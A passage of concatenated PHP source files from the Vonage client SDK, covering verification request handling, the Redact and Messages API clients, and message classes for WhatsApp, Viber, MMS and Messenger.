$this->useClient()) { $this->useClient()->check($this, $code, $ip); return true; } return false; } catch (RequestException $e) { $code = $e->getCode(); if ($code === 16 || $code === 17) { return false; } throw $e; } } /** * Cancel the verification. * * @throws ClientExceptionInterface * @throws ClientException * @throws RequestException * @throws ServerException * * @deprecated Use Vonage\Verification\Client::cancel() */ public function cancel(): void { trigger_error( 'Vonage\Verify\Verification::cancel() is deprecated, use Vonage\Verification\Client::cancel()', E_USER_DEPRECATED ); if (null !== $this->useClient()) { $this->useClient()->cancel($this); } } /** * Trigger the next verification. * * @throws ClientExceptionInterface * @throws ClientException * @throws RequestException * @throws ServerException * * @deprecated Use Vonage\Verification\Client::trigger() */ public function trigger(): void { trigger_error( 'Vonage\Verify\Verification::trigger() is deprecated, use Vonage\Verification\Client::trigger()', E_USER_DEPRECATED ); if (null !== $this->useClient()) { $this->useClient()->trigger($this); } } /** * Update Verification from the API. * * @throws ClientExceptionInterface * @throws ClientException * @throws RequestException * @throws ServerException * * @deprecated Use Vonage\Verification\Client::get() to retrieve the object directly */ public function sync(): void { trigger_error( 'Vonage\Verify\Verification::sync() is deprecated, ' . 'use Vonage\Verification\Client::search() to get a new copy of this object', E_USER_DEPRECATED ); if (null !== $this->useClient()) { $this->useClient()->search($this); } } /** * Check if the user provided data has sent to the API yet * * @deprecated This object will not hold this information in the future */ public function isDirty(): bool { trigger_error( 'Vonage\Verify\Verification::isDirty() is deprecated', E_USER_DEPRECATED ); return $this->dirty; } /** * If do not set number in international format or you are not sure if number is correctly formatted, set country * with the two-character country code. For example, GB, US. Verify works out the international phone number for * you. * * Can only be set before the verification is created. * * @link https://developer.nexmo.com/verify/overview#vrequest * * @param $country * * @throws Exception * * @return RequestArrayTrait|Verification */ public function setCountry($country) { return $this->setRequestData('country', $country); } /** * An 11 character alphanumeric string to specify the SenderID for SMS sent by Verify. Depending on the destination * of the phone number you are applying, restrictions may apply. By default, sender_id is VERIFY. * * Can only be set before the verification is created. * * @link https://developer.nexmo.com/verify/overview#vrequest * * @param $id * * @throws Exception * * @return RequestArrayTrait|Verification */ public function setSenderId($id) { return $this->setRequestData('sender_id', $id); } /** * The length of the PIN. Possible values are 6 or 4 characters. The default value is 4. * * Can only be set before the verification is created. * * @link https://developer.nexmo.com/verify/overview#vrequest * * @param $length * * @throws Exception * * @return RequestArrayTrait|Verification */ public function setCodeLength($length) { return $this->setRequestData('code_length', $length); } /** * By default, TTS are generated in the locale that matches number. For example, the TTS for a 33* number is sent in * French. Use this parameter to explicitly control the language, accent and gender used for the Verify request. The * default language is en-us. * * Can only be set before the verification is created. * * @link https://developer.nexmo.com/verify/overview#vrequest * * @param $language * * @throws Exception * * @return RequestArrayTrait|Verification */ public function setLanguage($language) { return $this->setRequestData('lg', $language); } /** * Restrict verification to a certain network type. Possible values are: * - All (Default) * - Mobile * - Landline * * Note: contact support@vonage.com to enable this feature. * * Can only be set before the verification is created. * * @link https://developer.nexmo.com/verify/overview#vrequest * * @param $type * * @throws Exception * * @return RequestArrayTrait|Verification */ public function setRequireType($type) { return $this->setRequestData('require_type', $type); } /** * The PIN validity time from generation. This is an integer value between 30 and 3600 seconds. The default is 300 * seconds. When specified together, pin_expiry must be an integer multiple of next_event_wait. Otherwise, * pin_expiry is set to next_event_wait. * * Can only be set before the verification is created. * * @link https://developer.nexmo.com/verify/overview#vrequest * * @param $time * * @throws Exception * * @return RequestArrayTrait|Verification */ public function setPinExpiry($time) { return $this->setRequestData('pin_expiry', $time); } /** * An integer value between 60 and 900 seconds inclusive that specifies the wait time between attempts to deliver * the PIN. Verify calculates the default value based on the average time taken by users to complete verification. * * Can only be set before the verification is created. * * @link https://developer.nexmo.com/verify/overview#vrequest * * @param $time * * @throws Exception * * @return RequestArrayTrait|Verification */ public function setWaitTime($time) { return $this->setRequestData('next_event_wait', $time); } /** * Which workflow to use, default is 1 for SMS -> TTS -> TTS * * Can only be set before the verification is created. * * @link https://developer.nexmo.com/verify/guides/workflows-and-events * * @param $workflow_id * * @throws Exception * * @return RequestArrayTrait|Verification */ public function setWorkflowId($workflow_id) { return $this->setRequestData('workflow_id', $workflow_id); } /** * Get the verification request id, if available. */ public function getRequestId() { return $this->proxyArrayAccess('request_id'); } /** * Get the number verified / to be verified. * * @see \Vonage\Verify\Verification::__construct() */ public function getNumber() { return $this->proxyArrayAccess('number'); } /** * Get the account id, if available. * * Only available after a searching for a verification. * * @see \Vonage\Verify\Client::search() */ public function getAccountId(): ?string { return $this->proxyArrayAccess('account_id'); } /** * Get the sender id, if available. * * @see \Vonage\Verify\Verification::setSenderId(); * @see \Vonage\Verify\Client::search(); */ public function getSenderId() { return $this->proxyArrayAccess('sender_id'); } /** * Get the price of the verification, if available. * * Only available after a searching for a verification. * * @see \Vonage\Verify\Client::search(); */ public function getPrice() { return $this->proxyArrayAccess('price'); } /** * Get the currency used to price the verification, if available. * * Only available after a searching for a verification. * * @see \Vonage\Verify\Client::search(); */ public function getCurrency() { return $this->proxyArrayAccess('currency'); } /** * Get the status of the verification, if available. * * Only available after a searching for a verification. * * @see \Vonage\Verify\Client::search(); */ public function getStatus() { return $this->proxyArrayAccess('status'); } /** * Get an array of verification checks, if available. Will return an empty array if no check have been made, or if * the data is not available. * * Only available after a searching for a verification. * * @see \Vonage\Verify\Client::search(); */ public function getChecks() { $checks = $this->proxyArrayAccess('checks'); if (!$checks) { return []; } foreach ($checks as $i => $check) { $checks[$i] = new Check($check); } return $checks; } /** * Get the date the verification started. * * Only available after a searching for a verification. * * @throws Exception * * @see \Vonage\Verify\Client::search(); */ public function getSubmitted() { return $this->proxyArrayAccessDate('date_submitted'); } /** * Get the date the verification stopped. * * Only available after a searching for a verification. * * @throws Exception * * @see \Vonage\Verify\Client::search(); */ public function getFinalized() { return $this->proxyArrayAccessDate('date_finalized'); } /** * Get the date of the first verification event. * * Only available after a searching for a verification. * * @throws Exception * * @see \Vonage\Verify\Client::search(); */ public function getFirstEvent() { return $this->proxyArrayAccessDate('first_event_date'); } /** * Get the date of the last verification event. * * Only available after a searching for a verification. * * @throws Exception * * @see \Vonage\Verify\Client::search(); */ public function getLastEvent() { return $this->proxyArrayAccessDate('last_event_date'); } /** * Proxies `proxyArrayAccess()` and returns a DateTime if the parameter is found. * * @param $param * * @throws Exception */ protected function proxyArrayAccessDate($param): ?DateTime { $date = $this->proxyArrayAccess($param); if ($date) { return new DateTime($date); } return null; } /** * This is hideous and will be refactored in future versions * * @param $param * * @return mixed|null * @throws ClientException */ protected function proxyArrayAccess($param) { $requestDataArray = $this->getRequestData(); if (isset($requestDataArray[$param])) { return $requestDataArray[$param]; } $responseDataArray = $this->getResponseData(); return $responseDataArray[$param] ?? null; } /** * All properties are read only. */ protected function getReadOnlyException(string $offset): RuntimeException { trigger_error( 'Using Vonage\Verify\Verification as an array is deprecated', E_USER_DEPRECATED ); return new RuntimeException( sprintf( 'can not modify `%s` using array access', $offset ) ); } /** * @deprecated Serialization will be removed in the future */ public function serialize(): string { $data = [ 'requestData' => $this->requestData ]; if ($request = @$this->getRequest()) { $data['request'] = RequestSerializer::toString($request); } if ($response = @$this->getResponse()) { $data['response'] = ResponseSerializer::toString($response); } return serialize($data); } /** * @deprecated Serialization will be removed in the future */ public function __serialize(): array { return unserialize($this->serialize()); } /** * @param string $serialized * @deprecated Serialization will be removed in the future */ public function unserialize($serialized) { $data = unserialize($serialized, [true]); $this->requestData = $data['requestData']; if (isset($data['request'])) { $this->request = RequestSerializer::fromString($data['request']); } if (isset($data['response'])) { $this->response = ResponseSerializer::fromString($data['response']); } } /** * @deprecated Serialization will be removed in the future */ public function __unserialize(array $data): void { $this->unserialize(serialize($data)); } /** * @return array<string> */ public function toArray(): array { return $this->requestData; } /** * @param array<string> $data */ public function fromArray(array $data): void { $this->requestData = $data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Verify; use Vonage\Entity\EntityInterface; interface VerificationInterface extends EntityInterface { public function getNumber(); public function setCountry($country); public function setSenderId($id); public function setCodeLength($length); public function setLanguage($language); public function setRequireType($type); public function setPinExpiry($time); public function setWaitTime($time); public function setWorkflowId($workflow_id); } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Redact; use Psr\Container\ContainerInterface; use Vonage\Client\APIExceptionHandler; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; /** * @todo Finish this Namespace */ class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api ->setBaseUri('/v1/redact/transaction') ->setAuthHandler(new BasicHandler()) ->setCollectionName(''); // This API has a slightly different format for the error message, so override $exceptionHandler = $api->getExceptionErrorHandler(); if ($exceptionHandler instanceof APIExceptionHandler) { $exceptionHandler->setRfc7807Format("%s - %s. See %s for more information"); } $api->setExceptionErrorHandler($exceptionHandler); return new Client($api); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Redact; use Psr\Http\Client\ClientExceptionInterface; use Vonage\Client\APIClient; use Vonage\Client\APIExceptionHandler; use Vonage\Client\APIResource; use Vonage\Client\ClientAwareInterface; use Vonage\Client\ClientAwareTrait; use Vonage\Client\Exception\Exception as ClientException; use function is_null; class Client implements ClientAwareInterface, APIClient { /** * @deprecated This object no longer needs to be client aware */ use ClientAwareTrait; /** * @todo Stop having this use its own formatting for exceptions */ public function __construct(protected ?APIResource $api = null) { } /** * Shim to handle older instantiations of this class * Will change in v3 to just return the required API object */ public function getApiResource(): APIResource { if (is_null($this->api)) { $api = new APIResource(); $api->setClient($this->getClient()) ->setBaseUri('/v1/redact') ->setCollectionName(''); $this->api = $api; // This API has been using a different exception response format, so reset it if we can // @todo Move this somewhere more appropriate, current has to be here, // because we can't otherwise guarantee there is an API object $exceptionHandler = $this->api->getExceptionErrorHandler(); if ($exceptionHandler instanceof APIExceptionHandler) { $exceptionHandler->setRfc7807Format("%s - %s. See %s for more information"); } $this->api->setExceptionErrorHandler($exceptionHandler); } return $this->api; } /** * @throws ClientExceptionInterface * @throws ClientException */ public function transaction(string $id, string $product, array $options = []): void { $api = $this->getApiResource(); $api->setBaseUri('/v1/redact/transaction'); $body = ['id' => $id, 'product' => $product] + $options; $api->create($body); } } <?php namespace Vonage\Messages; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Credentials\Handler\KeypairHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api ->setBaseUrl($api->getClient()->getApiUrl() . '/v1/messages') ->setIsHAL(false) ->setErrorsOn200(false) ->setAuthHandler([new KeypairHandler(), new BasicHandler()]) ->setExceptionErrorHandler(new ExceptionErrorHandler()); return new Client($api); } }<?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Messages; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Messages\Channel\BaseMessage; class Client implements APIClient { public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } public function send(BaseMessage $message): ?array { return $this->api->create($message->toArray()); } } <?php namespace Vonage\Messages\MessageTraits; trait TextTrait { private string $text; public function getText(): string { return $this->text; } public function setText(string $text): void { $this->text = $text; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Messages; use JsonException; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Vonage\Client\Exception as ClientException; use Vonage\Client\Exception\ThrottleException; use function json_decode; class ExceptionErrorHandler { /** * @throws ClientException\Request * @throws ClientException\Server * @throws ThrottleException|JsonException */ public function __invoke(ResponseInterface $response, RequestInterface $request) { $responseBody = json_decode( $response->getBody()->getContents(), true, 512, JSON_THROW_ON_ERROR ); $statusCode = (int)$response->getStatusCode(); if ($statusCode === 429) { throw new ThrottleException( $responseBody['title'] . ': ' . $responseBody['detail'], $response->getStatusCode() ); } if ($statusCode >= 500 && $statusCode <= 599) { throw new ClientException\Server($responseBody['title'] . ': ' . $responseBody['detail']); } throw new ClientException\Request($responseBody['title'] . ': ' . $responseBody['detail']); } } <?php namespace Vonage\Messages\Channel\WhatsApp; use Vonage\Messages\MessageObjects\VideoObject; use Vonage\Messages\Channel\BaseMessage; class WhatsAppVideo extends BaseMessage { protected string $channel = 'whatsapp'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_VIDEO; public function __construct( string $to, string $from, protected VideoObject $videoObject ) { $this->to = $to; $this->from = $from; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['video'] = $this->videoObject->toArray(); return $returnArray; } }<?php namespace Vonage\Messages\Channel\WhatsApp; use Vonage\Messages\Channel\BaseMessage; class WhatsAppCustom extends BaseMessage { protected string $subType = BaseMessage::MESSAGES_SUBTYPE_CUSTOM; protected string $channel = 'whatsapp'; public function __construct( string $to, string $from, protected array $custom ) { $this->to = $to; $this->from = $from; } public function setCustom(array $custom): void { $this->custom = $custom; } public function getCustom(): array { return $this->custom; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['custom'] = $this->getCustom(); return $returnArray; } } <?php namespace Vonage\Messages\Channel\WhatsApp; use Vonage\Messages\MessageObjects\FileObject; use Vonage\Messages\MessageObjects\TemplateObject; use Vonage\Messages\Channel\BaseMessage; class WhatsAppTemplate extends BaseMessage { protected string $channel = 'whatsapp'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_TEMPLATE; public function __construct( string $to, string $from, protected TemplateObject $templateObject, protected string $locale ) { $this->to = $to; $this->from = $from; } public function toArray(): array { $returnArray = [ 'template' => $this->templateObject->toArray(), 'whatsapp' => [ 'policy' => 'deterministic', 'locale' => $this->getLocale() ] ]; return array_merge($this->getBaseMessageUniversalOutputArray(), $returnArray); } public function getLocale(): string { return $this->locale; } public function setLocale($locale): void { $this->locale = $locale; } }<?php namespace Vonage\Messages\Channel\WhatsApp; use Vonage\Messages\MessageObjects\ImageObject; use Vonage\Messages\Channel\BaseMessage; class WhatsAppImage extends BaseMessage { protected string $channel = 'whatsapp'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_IMAGE; public function __construct( string $to, string $from, protected ImageObject $image ) { $this->to = $to; $this->from = $from; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['image'] = $this->image->toArray(); return $returnArray; } } <?php namespace Vonage\Messages\Channel\WhatsApp; use Vonage\Messages\Channel\BaseMessage; use Vonage\Messages\Channel\WhatsApp\MessageObjects\StickerObject; class WhatsAppSticker extends BaseMessage { protected string $subType = BaseMessage::MESSAGES_SUBTYPE_STICKER; protected string $channel = 'whatsapp'; public function __construct( string $to, string $from, protected StickerObject $sticker ) { $this->to = $to; $this->from = $from; } public function getSticker(): StickerObject { return $this->sticker; } public function setSticker(StickerObject $sticker): static { $this->sticker = $sticker; return $this; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['sticker'] = $this->getSticker()->toArray(); return $returnArray; } } <?php namespace Vonage\Messages\Channel\WhatsApp; use Vonage\Messages\MessageObjects\FileObject; use Vonage\Messages\Channel\BaseMessage; class WhatsAppFile extends BaseMessage { protected string $channel = 'whatsapp'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_FILE; public function __construct( string $to, string $from, protected FileObject $fileObject ) { $this->to = $to; $this->from = $from; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['file'] = $this->fileObject->toArray(); return $returnArray; } }<?php namespace Vonage\Messages\Channel\WhatsApp; use Vonage\Messages\MessageTraits\TextTrait; use Vonage\Messages\Channel\BaseMessage; class WhatsAppText extends BaseMessage { use TextTrait; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_TEXT; protected string $channel = 'whatsapp'; public function __construct( string $to, string $from, string $text ) { $this->to = $to; $this->from = $from; $this->text = $text; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['text'] = $this->getText(); return $returnArray; } } <?php namespace Vonage\Messages\Channel\WhatsApp\MessageObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class StickerObject implements ArrayHydrateInterface { public const STICKER_URL = 'url'; public const STICKER_ID = 'id'; private array $allowedTypes = [ self::STICKER_URL, self::STICKER_ID ]; public function __construct(private string $type, private string $value = '') { if (! in_array($type, $this->allowedTypes, true)) { throw new \InvalidArgumentException($type . ' is an invalid type of Sticker'); } } public function fromArray(array $data): StickerObject { if (! in_array($data['type'], $this->allowedTypes, true)) { throw new \InvalidArgumentException($data['type'] . ' is an invalid type of Sticker'); } return $this; } /** * @return string */ public function getType(): string { return $this->type; } /** * @param string $type */ public function setType(string $type): void { $this->type = $type; } /** * @return string */ public function getValue(): string { return $this->value; } /** * @param string $value */ public function setValue(string $value): void { $this->value = $value; } public function toArray(): array { return [$this->getType() => $this->getValue()]; } } <?php namespace Vonage\Messages\Channel\WhatsApp; use Vonage\Messages\MessageObjects\AudioObject; use Vonage\Messages\Channel\BaseMessage; class WhatsAppAudio extends BaseMessage { protected string $channel = 'whatsapp'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_AUDIO; public function __construct( string $to, string $from, protected AudioObject $audioObject ) { $this->to = $to; $this->from = $from; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['audio'] = $this->audioObject->toArray(); return $returnArray; } }<?php namespace Vonage\Messages\Channel\Viber; use Vonage\Messages\MessageObjects\VideoObject; use Vonage\Messages\MessageTraits\TextTrait; use Vonage\Messages\Channel\BaseMessage; class ViberVideo extends BaseMessage { use TextTrait; use ViberServiceObjectTrait; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_VIDEO; protected string $channel = 'viber_service'; protected string $thumbUrl = ""; public function __construct( string $to, string $from, string $thumbUrl, protected VideoObject $videoObject ) { $this->to = $to; $this->from = $from; $this->thumbUrl = $thumbUrl; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $videoArray = $this->videoObject->toArray(); $videoArray['thumb_url'] = $this->thumbUrl; $returnArray['video'] = $videoArray; return $returnArray; } } <?php namespace Vonage\Messages\Channel\Viber; use Vonage\Messages\Channel\Viber\MessageObjects\ViberActionObject; trait ViberServiceObjectTrait { private ?string $category = null; private ?int $ttl = null; private ?string $type = null; private ?ViberActionObject $action = null; public function requiresViberServiceObject(): bool { return $this->getCategory() || $this->getTtl() || $this->getType() || $this->getAction(); } public function getCategory(): ?string { return $this->category; } public function setCategory(?string $category): static { $this->category = $category; return $this; } public function getTtl(): ?int { return $this->ttl; } public function setTtl(int $ttl): static { $this->ttl = $ttl; return $this; } public function getType(): ?string { return $this->type; } public function setType(string $type): static { $this->type = $type; return $this; } public function getAction(): ?ViberActionObject { return $this->action; } public function setAction(ViberActionObject $viberActionObject): static { $this->action = $viberActionObject; return $this; } } <?php namespace Vonage\Messages\Channel\Viber\MessageObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class ViberActionObject implements ArrayHydrateInterface { public function __construct(private string $url, private string $text = '') { } public function fromArray(array $data): ViberActionObject { $this->url = $data['url']; $this->text = $data['text']; return $this; } public function toArray(): array { return [ 'url' => $this->getUrl(), 'text' => $this->getText() ]; } public function getUrl(): string { return $this->url; } public function getText(): string { return $this->text; } } <?php namespace Vonage\Messages\Channel\Viber; use Vonage\Messages\Channel\Viber\MessageObjects\ViberActionObject; use Vonage\Messages\MessageObjects\ImageObject; use Vonage\Messages\Channel\BaseMessage; class ViberImage extends BaseMessage { use ViberServiceObjectTrait; protected string $channel = 'viber_service'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_IMAGE; public function __construct( string $to, string $from, protected ImageObject $image, ?string $category = null, ?int $ttl = null, ?string $type = null, ?ViberActionObject $viberActionObject = null ) { $this->to = $to; $this->from = $from; $this->category = $category; $this->ttl = $ttl; $this->type = $type; $this->action = $viberActionObject; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['image'] = $this->image->toArray(); if ($this->requiresViberServiceObject()) { $this->getCategory() ? $returnArray['viber_service']['category'] = $this->getCategory(): null; $this->getTtl() ? $returnArray['viber_service']['ttl'] = $this->getTtl(): null; $this->getType() ? $returnArray['viber_service']['type'] = $this->getType(): null; $this->getAction() ? $returnArray['viber_service']['action'] = $this->getAction()->toArray(): null; } return array_filter($returnArray); } } <?php namespace Vonage\Messages\Channel\Viber; use Vonage\Messages\MessageObjects\FileObject; use Vonage\Messages\Channel\BaseMessage; class ViberFile extends BaseMessage { use ViberServiceObjectTrait; protected string $channel = 'viber_service'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_FILE; public function __construct( string $to, string $from, protected FileObject $fileObject ) { $this->to = $to; $this->from = $from; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['file'] = $this->fileObject->toArray(); if ($this->requiresViberServiceObject()) { $this->getCategory() ? $returnArray['viber_service']['category'] = $this->getCategory(): null; $this->getTtl() ? $returnArray['viber_service']['ttl'] = $this->getTtl(): null; $this->getType() ? $returnArray['viber_service']['type'] = $this->getType(): null; } return $returnArray; } }<?php namespace Vonage\Messages\Channel\Viber; use Vonage\Messages\Channel\Viber\MessageObjects\ViberActionObject; use Vonage\Messages\MessageTraits\TextTrait; use Vonage\Messages\Channel\BaseMessage; class ViberText extends BaseMessage { use TextTrait; use ViberServiceObjectTrait; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_TEXT; protected string $channel = 'viber_service'; public function __construct( string $to, string $from, string $message, ?string $category = null, ?int $ttl = null, ?string $type = null, ?ViberActionObject $viberActionObject = null, ) { $this->to = $to; $this->from = $from; $this->text = $message; $this->category = $category; $this->ttl = $ttl; $this->type = $type; $this->action = $viberActionObject; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['text'] = $this->getText(); if ($this->requiresViberServiceObject()) { $this->getCategory() ? $returnArray['viber_service']['category'] = $this->getCategory(): null; $this->getTtl() ? $returnArray['viber_service']['ttl'] = $this->getTtl(): null; $this->getType() ? $returnArray['viber_service']['type'] = $this->getType(): null; $this->getAction() ? $returnArray['viber_service']['action'] = $this->getAction()->toArray(): null; } return array_filter($returnArray); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Messages\Channel; interface Message { public function toArray(): array; public function getTo(): string; public function setTo(string $to): void; public function getFrom(): string; public function setFrom(string $from): void; public function getClientRef(): ?string; public function getChannel(): string; public function getSubType(): string; public function setClientRef(string $clientRef): void; /** * All message types have shared outputs required by the endpoint. * Child classes are required to call this before assembling their * own specific output * * @return array */ public function getBaseMessageUniversalOutputArray(): array; } <?php namespace Vonage\Messages\Channel\MMS; use Vonage\Messages\MessageObjects\AudioObject; use Vonage\Messages\MessageObjects\VideoObject; use Vonage\Messages\Channel\BaseMessage; class MMSVideo extends BaseMessage { protected string $channel = 'mms'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_VIDEO; public function __construct( string $to, string $from, protected VideoObject $videoObject ) { $this->to = $to; $this->from = $from; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['video'] = $this->videoObject->toArray(); return $returnArray; } } <?php namespace Vonage\Messages\Channel\MMS; use Vonage\Messages\MessageObjects\VCardObject; use Vonage\Messages\Channel\BaseMessage; class MMSvCard extends BaseMessage { protected string $channel = 'mms'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_VCARD; public function __construct( string $to, string $from, protected VCardObject $vCard ) { $this->to = $to; $this->from = $from; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['vcard'] = $this->vCard->toArray(); return $returnArray; } } <?php namespace Vonage\Messages\Channel\MMS; use Vonage\Messages\MessageObjects\AudioObject; use Vonage\Messages\Channel\BaseMessage; class MMSAudio extends BaseMessage { protected string $channel = 'mms'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_AUDIO; public function __construct( string $to, string $from, protected AudioObject $audioObject ) { $this->to = $to; $this->from = $from; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['audio'] = $this->audioObject->toArray(); return $returnArray; } } <?php namespace Vonage\Messages\Channel\MMS; use Vonage\Messages\MessageObjects\ImageObject; use Vonage\Messages\Channel\BaseMessage; class MMSImage extends BaseMessage { protected string $channel = 'mms'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_IMAGE; public function __construct( string $to, string $from, protected ImageObject $image ) { $this->to = $to; $this->from = $from; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['image'] = $this->image->toArray(); return $returnArray; } }<?php namespace Vonage\Messages\Channel; abstract class BaseMessage implements Message { protected string $subType; protected string $to; protected string $from; protected string $channel; protected ?string $clientRef = null; public const MESSAGES_SUBTYPE_TEXT = 'text'; public const MESSAGES_SUBTYPE_IMAGE = 'image'; public const MESSAGES_SUBTYPE_VCARD = 'vcard'; public const MESSAGES_SUBTYPE_AUDIO = 'audio'; public const MESSAGES_SUBTYPE_VIDEO = 'video'; public const MESSAGES_SUBTYPE_FILE = 'file'; public const MESSAGES_SUBTYPE_TEMPLATE = 'template'; public const MESSAGES_SUBTYPE_STICKER = 'sticker'; public const MESSAGES_SUBTYPE_CUSTOM = 'custom'; public function getClientRef(): ?string { return $this->clientRef; } public function setClientRef(string $clientRef): void { $this->clientRef = $clientRef; } public function getSubType(): string { return $this->subType; } public function getFrom(): string { return $this->from; } public function setFrom(string $from): void { $this->from = $from; } public function getChannel(): string { return $this->channel; } public function getTo(): string { return $this->to; } public function setTo(string $to): void { $this->to = $to; } public function getBaseMessageUniversalOutputArray(): array { $returnArray = [ 'message_type' => $this->getSubType(), 'to' => $this->getTo(), 'from' => $this->getFrom(), 'channel' => $this->getChannel(), ]; if ($this->getClientRef()) { $returnArray['client_ref'] = $this->getClientRef(); } return $returnArray; } } <?php namespace Vonage\Messages\Channel\Messenger; trait MessengerObjectTrait { private ?string $category; private ?string $tag; /** * @return string */ public function getCategory(): ?string { return $this->category; } public function requiresMessengerObject(): bool { return $this->getTag() || $this->getCategory(); } public function setCategory(string $category): void { $this->category = $category; } /** * @return string */ public function getTag(): ?string { return $this->tag; } public function setTag(string $tag): void { $this->tag = $tag; } public function getMessengerObject(): array { $messengerObject = [ 'category' => $this->getCategory(), ]; if ($this->getTag()) { $messengerObject['tag'] = $this->getTag(); } return $messengerObject; } } <?php namespace Vonage\Messages\Channel\Messenger; use Vonage\Messages\MessageTraits\TextTrait; use Vonage\Messages\Channel\BaseMessage; class MessengerText extends BaseMessage { use TextTrait; use MessengerObjectTrait; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_TEXT; protected string $channel = 'messenger'; public function __construct( string $to, string $from, string $text, ?string $category = null, ?string $tag = null ) { $this->to = $to; $this->from = $from; $this->text = $text; $this->category = $category; $this->tag = $tag; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['text'] = $this->getText(); if ($this->requiresMessengerObject()) { $returnArray['messenger'] = $this->getMessengerObject(); } return $returnArray; } } <?php namespace Vonage\Messages\Channel\Messenger; use Vonage\Messages\MessageObjects\ImageObject; use Vonage\Messages\Channel\BaseMessage; class MessengerImage extends BaseMessage { use MessengerObjectTrait; protected string $channel = 'messenger'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_IMAGE; public function __construct( string $to, string $from, protected ImageObject $image, ?string $category = null, ?string $tag = null ) { $this->to = $to; $this->from = $from; $this->category = $category; $this->tag = $tag; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['image'] = $this->image->toArray(); if ($this->requiresMessengerObject()) { $returnArray['messenger'] = $this->getMessengerObject(); } return $returnArray; } } <?php namespace Vonage\Messages\Channel\Messenger; class InvalidCategoryException extends \Exception { }<?php namespace Vonage\Messages\Channel\Messenger; use Vonage\Messages\MessageObjects\VideoObject; use Vonage\Messages\Channel\BaseMessage; class MessengerVideo extends BaseMessage { use MessengerObjectTrait; protected string $channel = 'messenger'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_VIDEO; public function __construct( string $to, string $from, protected VideoObject $videoObject, ?string $category = null, ?string $tag = null ) { $this->to = $to; $this->from = $from; $this->category = $category; $this->tag = $tag; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['video'] = $this->videoObject->toArray(); if ($this->requiresMessengerObject()) { $returnArray['messenger'] = $this->getMessengerObject(); } return $returnArray; } }<?php namespace Vonage\Messages\Channel\Messenger; use Vonage\Messages\MessageObjects\FileObject; use Vonage\Messages\Channel\BaseMessage; class MessengerFile extends BaseMessage { use MessengerObjectTrait; 